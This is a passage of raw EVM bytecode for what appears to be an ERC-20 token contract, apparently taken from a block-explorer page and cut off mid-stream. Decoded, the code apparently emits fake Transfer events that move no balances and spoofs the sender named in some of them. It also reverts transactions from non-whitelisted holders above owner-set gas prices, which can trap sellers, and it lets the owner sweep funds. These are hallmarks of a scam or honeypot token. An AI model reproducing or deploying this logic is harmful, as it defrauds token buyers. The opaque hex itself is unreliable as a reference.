fffffffff1681526020019081526020015f2054620006b89190620011b4565b115b15620006ea57620006d18362000bf560201b60201c565b620006e48383836200080960201b60201c565b62000804565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015620007945750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054620007919190620011b4565b11155b15620007f05780600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620007e89190620011b4565b925050819055505b620008038383836200080960201b60201c565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200085d578060025f828254620008509190620011b4565b925050819055506200092e565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015620008e9578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620008e093929190620011ff565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000977578060025f8282540392505081905550620009c1565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000aa45760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000a9691906200123a565b60405180910390a362000bf0565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000b87578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000b7991906200123a565b60405180910390a362000bef565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000be691906200123a565b60405180910390a35b5b505050565b5f62000c078262000c5360201b60201c565b111562000c5057600c5f9054906101000a900460ff1662000c3b5762000c35600f5462000c9860201b60201c565b62000c4f565b62000c4e60105462000c9860201b60201c565b5b5b50565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b803a111562000ca5575f80fd5b50565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000d2457607f821691505b60208210810362000d3a5762000d3962000cdf565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000d9e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000d61565b62000daa868362000d61565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000df462000dee62000de88462000dc2565b62000dcb565b62000dc2565b9050919050565b5f819050919050565b62000e0f8362000dd4565b62000e2762000e1e8262000dfb565b84845462000d6d565b825550505050565b5f90565b62000e3d62000e2f565b62000e4a81848462000e04565b505050565b5b8181101562000e715762000e655f8262000e33565b60018101905062000e50565b5050565b601f82111562000ec05762000e8a8162000d40565b62000e958462000d52565b8101602085101562000ea5578190505b62000ebd62000eb48562000d52565b83018262000e4f565b50505b505050565b5f82821c905092915050565b5f62000ee25f198460080262000ec5565b1980831691505092915050565b5f62000efc838362000ed1565b9150826002028217905092915050565b62000f178262000ca8565b67ffffffffffffffff81111562000f335762000f3262000cb2565b5b62000f3f825462000d0c565b62000f4c82828562000e75565b5f60209050601f83116001811462000f82575f841562000f6d578287015190505b62000f79858262000eef565b86555062000fe8565b601f19841662000f928662000d40565b5f5b8281101562000fbb5784890151825560018201915060208501945060208101905062000f94565b8683101562000fdb578489015162000fd7601f89168262000ed1565b8355505b6001600288020188555050505b505050505050565b5f80fd5b62000fff8162000dc2565b81146200100a575f80fd5b50565b5f815190506200101d8162000ff4565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200104e8262001023565b9050919050565b620010608162001042565b81146200106b575f80fd5b50565b5f815190506200107e8162001055565b92915050565b5f805f606084860312156200109e576200109d62000ff0565b5b5f620010ad868287016200100d565b9350506020620010c0868287016200106e565b9250506040620010d3868287016200100d565b9150509250925092565b620010e88162001042565b82525050565b5f602082019050620011035f830184620010dd565b92915050565b5f82825260208201905092915050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f6200114f601d8362001109565b91506200115c8262001119565b602082019050919050565b5f6020820190508181035f830152620011808162001141565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620011c08262000dc2565b9150620011cd8362000dc2565b9250828201905080821115620011e857620011e762001187565b5b92915050565b620011f98162000dc2565b82525050565b5f606082019050620012145f830186620010dd565b620012236020830185620011ee565b620012326040830184620011ee565b949350505050565b5f6020820190506200124f5f830184620011ee565b92915050565b6124d880620012635f395ff3fe608060405234801561000f575f80fd5b50600436106101d8575f3560e01c8063715018a611610102578063a11223da116100a0578063dd62ed3e1161006f578063dd62ed3e1461050e578063e086e5ec1461053e578063e1ad418e14610548578063f2fde38b14610578576101d8565b8063a11223da14610488578063a22d4832146104a4578063a8b08982146104c0578063a9059cbb146104de576101d8565b80638da5cb5b116100dc5780638da5cb5b1461040057806395d89b411461041e5780639b19251a1461043c5780639b6fbf8a1461046c576101d8565b8063715018a6146103bc5780637b61c320146103c65780638b339069146103e4576101d8565b8063313ce5671161017a578063594ef0d911610149578063594ef0d9146103465780636b05abd6146103645780636c02a9311461036e57806370a082311461038c576101d8565b8063313ce567146102d05780633c9f5ed6146102ee5780634c97f4721461030c5780635408d42d14610328576101d8565b806315aac227116101b657806315aac2271461024657806318160ddd1461026457806323b872dd146102825780632711b8a5146102b2576101d8565b8063068acf6c146101dc57806306fdde03146101f8578063095ea7b314610216575b5f80fd5b6101f660048036038101906101f191906119f0565b610594565b005b610200610697565b60405161020d9190611aa5565b60405180910390f35b610230600480360381019061022b9190611af8565b610727565b60405161023d9190611b50565b60405180910390f35b61024e610749565b60405161025b9190611b78565b60405180910390f35b61026c61074f565b6040516102799190611b78565b60405180910390f35b61029c60048036038101906102979190611b91565b610758565b6040516102a99190611b50565b60405180910390f35b6102ba610786565b6040516102c79190611b78565b60405180910390f35b6102d861078e565b6040516102e59190611bfc565b60405180910390f35b6102f6610796565b6040516103039190611b50565b60405180910390f35b61032660048036038101906103219190611d41565b6107ab565b005b6103306107d7565b60405161033d9190611b50565b60405180910390f35b61034e6107e9565b60405161035b9190611b78565b60405180910390f35b61036c6107ef565b005b610376610821565b6040516103839190611aa5565b60405180910390f35b6103a660048036038101906103a191906119f0565b6108ad565b6040516103b39190611b78565b60405180910390f35b6103c46108f2565b005b6103ce610905565b6040516103db9190611aa5565b60405180910390f35b6103fe60048036038101906103f99190611db7565b610991565b005b6104086109a3565b6040516104159190611df1565b60405180910390f35b6104266109cb565b6040516104339190611aa5565b60405180910390f35b610456600480360381019061045191906119f0565b610a5b565b6040516104639190611b50565b60405180910390f35b61048660048036038101906104819190611ece565b610a78565b005b6104a2600480360381019061049d9190611f15565b610b11565b005b6104be60048036038101906104b991906119f0565b610bc2565b005b6104c8610c0e565b6040516104d59190611df1565b60405180910390f35b6104f860048036038101906104f39190611af8565b610c34565b6040516105059190611b50565b60405180910390f35b61052860048036038101906105239190611f6f565b610c56565b6040516105359190611b78565b60405180910390f35b610546610cd8565b005b610562600480360381019061055d91906119f0565b610d26565b60405161056f9190611b78565b60405180910390f35b610592600480360381019061058d91906119f0565b610d3b565b005b61059c610dbf565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105d69190611df1565b602060405180830381865afa1580156105f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106159190611fc1565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610652929190611fec565b6020604051808303815f875af115801561066e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610692919061203d565b505050565b6060600880546106a690612095565b80601f01602080910402602001604051908101604052809291908181526020018280546106d290612095565b801561071d5780601f106106f45761010080835404028352916020019161071d565b820191905f5260205f20905b81548152906001019060200180831161070057829003601f168201915b5050505050905090565b5f80610731610e46565b905061073e818585610e4d565b600191505092915050565b600b5481565b5f600254905090565b5f80610762610e46565b905061076f858285610e5f565b61077a858585610ef1565b60019150509392505050565b5f6001905090565b5f6012905090565b5f600c5f9054906101000a900460ff16905090565b6107b3610dbf565b81600890816107c29190612262565b5080600990816107d29190612262565b505050565b600c5f9054906101000a900460ff1681565b600a5481565b6107f7610dbf565b600c5f9054906101000a900460ff1615600c5f6101000a81548160ff021916908315150217905550565b6008805461082e90612095565b80601f016020809104026020016040519081016040528092919081815260200182805461085a90612095565b80156108a55780601f1061087c576101008083540402835291602001916108a5565b820191905f5260205f20905b81548152906001019060200180831161088857829003601f168201915b505050505081565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108fa610dbf565b6109035f610fe1565b565b6009805461091290612095565b80601f016020809104026020016040519081016040528092919081815260200182805461093e90612095565b80156109895780601f1061096057610100808354040283529160200191610989565b820191905f5260205f20905b81548152906001019060200180831161096c57829003601f168201915b505050505081565b610999610dbf565b80600a8190555050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546109da90612095565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0690612095565b8015610a515780601f10610a2857610100808354040283529160200191610a51565b820191905f5260205f20905b815481529060010190602001808311610a3457829003601f168201915b5050505050905090565b600e602052805f5260405f205f915054906101000a900460ff1681565b610a80610dbf565b5f5b8151811015610b0d576001600e5f848481518110610aa357610aa2612331565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610b059061238b565b915050610a82565b5050565b610b19610dbf565b5f5b8251811015610bbd57828181518110610b3757610b36612331565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16610b5d6109a3565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ba29190611b78565b60405180910390a38080610bb59061238b565b915050610b1b565b505050565b610bca610dbf565b80600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80610c3e610e46565b9050610c4b818585610ef1565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ce0610dbf565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d23573d5f803e3d5ffd5b50565b600d602052805f5260405f205f915090505481565b610d43610dbf565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610db3575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610daa9190611df1565b60405180910390fd5b610dbc81610fe1565b50565b610dc7610e46565b73ffffffffffffffffffffffffffffffffffffffff16610de56109a3565b73ffffffffffffffffffffffffffffffffffffffff1614610e4457610e08610e46565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610e3b9190611df1565b60405180910390fd5b565b5f33905090565b610e5a83838360016110a4565b505050565b5f610e6a8484610c56565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610eeb5781811015610edc578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610ed3939291906123d2565b60405180910390fd5b610eea84848484035f6110a4565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f61575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f589190611df1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fd1575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610fc89190611df1565b60405180910390fd5b610fdc838383611273565b505050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611114575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161110b9190611df1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611184575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161117b9190611df1565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561126d578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516112649190611b78565b60405180910390a35b50505050565b600e5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156112d2576112cd83838361155a565b611555565b600c5f9054906101000a900460ff16611320576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131790612451565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036113855761138083838361155a565b611555565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561142b5750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611429919061246f565b115b156114495761143983611933565b61144483838361155a565b611555565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156114f05750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114ed919061246f565b11155b156115495780600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611541919061246f565b925050819055505b61155483838361155a565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115aa578060025f82825461159e919061246f565b92505081905550611678565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611633578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161162a939291906123d2565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116bf578060025f8282540392505081905550611709565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117e85760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117db9190611b78565b60405180910390a361192e565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118c7578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118ba9190611b78565b60405180910390a361192d565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119249190611b78565b60405180910390a35b5b505050565b5f61193d826108ad565b111561197357600c5f9054906101000a900460ff1661196657611961600f54611976565b611972565b611971601054611976565b5b5b50565b803a1115611982575f80fd5b50565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119bf82611996565b9050919050565b6119cf816119b5565b81146119d9575f80fd5b50565b5f813590506119ea816119c6565b92915050565b5f60208284031215611a0557611a0461198e565b5b5f611a12848285016119dc565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611a52578082015181840152602081019050611a37565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611a7782611a1b565b611a818185611a25565b9350611a91818560208601611a35565b611a9a81611a5d565b840191505092915050565b5f6020820190508181035f830152611abd8184611a6d565b905092915050565b5f819050919050565b611ad781611ac5565b8114611ae1575f80fd5b50565b5f81359050611af281611ace565b92915050565b5f8060408385031215611b0e57611b0d61198e565b5b5f611b1b858286016119dc565b9250506020611b2c85828601611ae4565b9150509250929050565b5f8115159050919050565b611b4a81611b36565b82525050565b5f602082019050611b635f830184611b41565b92915050565b611b7281611ac5565b82525050565b5f602082019050611b8b5f830184611b69565b92915050565b5f805f60608486031215611ba857611ba761198e565b5b5f611bb5868287016119dc565b9350506020611bc6868287016119dc565b9250506040611bd786828701611ae4565b9150509250925092565b5f60ff82169050919050565b611bf681611be1565b82525050565b5f602082019050611c0f5f830184611bed565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611c5382611a5d565b810181811067ffffffffffffffff82111715611c7257611c71611c1d565b5b80604052505050565b5f611c84611985565b9050611c908282611c4a565b919050565b5f67ffffffffffffffff821115611caf57611cae611c1d565b5b611cb882611a5d565b9050602081019050919050565b828183375f83830152505050565b5f611ce5611ce084611c95565b611c7b565b905082815260208101848484011115611d0157611d00611c19565b5b611d0c848285611cc5565b509392505050565b5f82601f830112611d2857611d27611c15565b5b8135611d38848260208601611cd3565b91505092915050565b5f8060408385031215611d5757611d5661198e565b5b5f83013567ffffffffffffffff811115611d7457611d73611992565b5b611d8085828601611d14565b925050602083013567ffffffffffffffff811115611da157611da0611992565b5b611dad85828601611d14565b9150509250929050565b5f60208284031215611dcc57611dcb61198e565b5b5f611dd984828501611ae4565b91505092915050565b611deb816119b5565b82525050565b5f602082019050611e045f830184611de2565b92915050565b5f67ffffffffffffffff821115611e2457611e23611c1d565b5b602082029050602081019050919050565b5f80fd5b5f611e4b611e4684611e0a565b611c7b565b90508083825260208201905060208402830185811115611e6e57611e6d611e35565b5b835b81811015611e975780611e8388826119dc565b845260208401935050602081019050611e70565b5050509392505050565b5f82601f830112611eb557611eb4611c15565b5b8135611ec5848260208601611e39565b91505092915050565b5f60208284031215611ee357611ee261198e565b5b5f82013567ffffffffffffffff811115611f0057611eff611992565b5b611f0c84828501611ea1565b91505092915050565b5f8060408385031215611f2b57611f2a61198e565b5b5f83013567ffffffffffffffff811115611f4857611f47611992565b5b611f5485828601611ea1565b9250506020611f6585828601611ae4565b9150509250929050565b5f8060408385031215611f8557611f8461198e565b5b5f611f92858286016119dc565b9250506020611fa3858286016119dc565b9150509250929050565b5f81519050611fbb81611ace565b92915050565b5f60208284031215611fd657611fd561198e565b5b5f611fe384828501611fad565b91505092915050565b5f604082019050611fff5f830185611de2565b61200c6020830184611b69565b9392505050565b61201c81611b36565b8114612026575f80fd5b50565b5f8151905061203781612013565b92915050565b5f602082840312156120525761205161198e565b5b5f61205f84828501612029565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806120ac57607f821691505b6020821081036120bf576120be612068565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026121217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826120e6565b61212b86836120e6565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61216661216161215c84611ac5565b612143565b611ac5565b9050919050565b5f819050919050565b61217f8361214c565b61219361218b8261216d565b8484546120f2565b825550505050565b5f90565b6121a761219b565b6121b2818484612176565b505050565b5b818110156121d5576121ca5f8261219f565b6001810190506121b8565b5050565b601f82111561221a576121eb816120c5565b6121f4846120d7565b81016020851015612203578190505b61221761220f856120d7565b8301826121b7565b50505b505050565b5f82821c905092915050565b5f61223a5f198460080261221f565b1980831691505092915050565b5f612252838361222b565b9150826002028217905092915050565b61226b82611a1b565b67ffffffffffffffff81111561228457612283611c1d565b5b61228e8254612095565b6122998282856121d9565b5f60209050601f8311600181146122ca575f84156122b8578287015190505b6122c28582612247565b865550612329565b601f1984166122d8866120c5565b5f5b828110156122ff578489015182556001820191506020850194506020810190506122da565b8683101561231c5784890151612318601f89168261222b565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61239582611ac5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123c7576123c661235e565b5b600182019050919050565b5f6060820190506123e55f830186611de2565b6123f26020830185611b69565b6123ff6040830184611b69565b949350505050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f61243b601d83611a25565b915061244682612407565b602082019050919050565b5f6020820190508181035f8301526124688161242f565b9050919050565b5f61247982611ac5565b915061248483611ac5565b925082820190508082111561249c5761249b61235e565b5b9291505056fea2646970667358221220dc5880cc8a1c213893902c4715955e51c977daf5fcc6d71f2f5ef0a4d7bd30ba64736f6c634300081400330000000000000000000000000000000000000000033b2e3c9fd0803ce8000000000000000000000000000000193d8e3b873be5c01a2c859a8f1b7e821d785ac50000000000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106101d8575f3560e01c8063715018a611610102578063a11223da116100a0578063dd62ed3e1161006f578063dd62ed3e1461050e578063e086e5ec1461053e578063e1ad418e14610548578063f2fde38b14610578576101d8565b8063a11223da14610488578063a22d4832146104a4578063a8b08982146104c0578063a9059cbb146104de576101d8565b80638da5cb5b116100dc5780638da5cb5b1461040057806395d89b411461041e5780639b19251a1461043c5780639b6fbf8a1461046c576101d8565b8063715018a6146103bc5780637b61c320146103c65780638b339069146103e4576101d8565b8063313ce5671161017a578063594ef0d911610149578063594ef0d9146103465780636b05abd6146103645780636c02a9311461036e57806370a082311461038c576101d8565b8063313ce567146102d05780633c9f5ed6146102ee5780634c97f4721461030c5780635408d42d14610328576101d8565b806315aac227116101b657806315aac2271461024657806318160ddd1461026457806323b872dd146102825780632711b8a5146102b2576101d8565b8063068acf6c146101dc57806306fdde03146101f8578063095ea7b314610216575b5f80fd5b6101f660048036038101906101f191906119f0565b610594565b005b610200610697565b60405161020d9190611aa5565b60405180910390f35b610230600480360381019061022b9190611af8565b610727565b60405161023d9190611b50565b60405180910390f35b61024e610749565b60405161025b9190611b78565b60405180910390f35b61026c61074f565b6040516102799190611b78565b60405180910390f35b61029c60048036038101906102979190611b91565b610758565b6040516102a99190611b50565b60405180910390f35b6102ba610786565b6040516102c79190611b78565b60405180910390f35b6102d861078e565b6040516102e59190611bfc565b60405180910390f35b6102f6610796565b6040516103039190611b50565b60405180910390f35b61032660048036038101906103219190611d41565b6107ab565b005b6103306107d7565b60405161033d9190611b50565b60405180910390f35b61034e6107e9565b60405161035b9190611b78565b60405180910390f35b61036c6107ef565b005b610376610821565b6040516103839190611aa5565b60405180910390f35b6103a660048036038101906103a191906119f0565b6108ad565b6040516103b39190611b78565b60405180910390f35b6103c46108f2565b005b6103ce610905565b6040516103db9190611aa5565b60405180910390f35b6103fe60048036038101906103f99190611db7565b610991565b005b6104086109a3565b6040516104159190611df1565b60405180910390f35b6104266109cb565b6040516104339190611aa5565b60405180910390f35b610456600480360381019061045191906119f0565b610a5b565b6040516104639190611b50565b60405180910390f35b61048660048036038101906104819190611ece565b610a78565b005b6104a2600480360381019061049d9190611f15565b610b11565b005b6104be60048036038101906104b991906119f0565b610bc2565b005b6104c8610c0e565b6040516104d59190611df1565b60405180910390f35b6104f860048036038101906104f39190611af8565b610c34565b6040516105059190611b50565b60405180910390f35b61052860048036038101906105239190611f6f565b610c56565b6040516105359190611b78565b60405180910390f35b610546610cd8565b005b610562600480360381019061055d91906119f0565b610d26565b60405161056f9190611b78565b60405180910390f35b610592600480360381019061058d91906119f0565b610d3b565b005b61059c610dbf565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105d69190611df1565b602060405180830381865afa1580156105f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106159190611fc1565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610652929190611fec565b6020604051808303815f875af115801561066e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610692919061203d565b505050565b6060600880546106a690612095565b80601f01602080910402602001604051908101604052809291908181526020018280546106d290612095565b801561071d5780601f106106f45761010080835404028352916020019161071d565b820191905f5260205f20905b81548152906001019060200180831161070057829003601f168201915b5050505050905090565b5f80610731610e46565b905061073e818585610e4d565b600191505092915050565b600b5481565b5f600254905090565b5f80610762610e46565b905061076f858285610e5f565b61077a858585610ef1565b60019150509392505050565b5f6001905090565b5f6012905090565b5f600c5f9054906101000a900460ff16905090565b6107b3610dbf565b81600890816107c29190612262565b5080600990816107d29190612262565b505050565b600c5f9054906101000a900460ff1681565b600a5481565b6107f7610dbf565b600c5f9054906101000a900460ff1615600c5f6101000a81548160ff021916908315150217905550565b6008805461082e90612095565b80601f016020809104026020016040519081016040528092919081815260200182805461085a90612095565b80156108a55780601f1061087c576101008083540402835291602001916108a5565b820191905f5260205f20905b81548152906001019060200180831161088857829003601f168201915b505050505081565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108fa610dbf565b6109035f610fe1565b565b6009805461091290612095565b80601f016020809104026020016040519081016040528092919081815260200182805461093e90612095565b80156109895780601f1061096057610100808354040283529160200191610989565b820191905f5260205f20905b81548152906001019060200180831161096c57829003601f168201915b505050505081565b610999610dbf565b80600a8190555050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546109da90612095565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0690612095565b8015610a515780601f10610a2857610100808354040283529160200191610a51565b820191905f5260205f20905b815481529060010190602001808311610a3457829003601f168201915b5050505050905090565b600e602052805f5260405f205f915054906101000a900460ff1681565b610a80610dbf565b5f5b8151811015610b0d576001600e5f848481518110610aa357610aa2612331565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610b059061238b565b915050610a82565b5050565b610b19610dbf565b5f5b8251811015610bbd57828181518110610b3757610b36612331565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16610b5d6109a3565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ba29190611b78565b60405180910390a38080610bb59061238b565b915050610b1b565b505050565b610bca610dbf565b80600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80610c3e610e46565b9050610c4b818585610ef1565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ce0610dbf565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d23573d5f803e3d5ffd5b50565b600d602052805f5260405f205f915090505481565b610d43610dbf565b5f73ffffffffffffffffffffff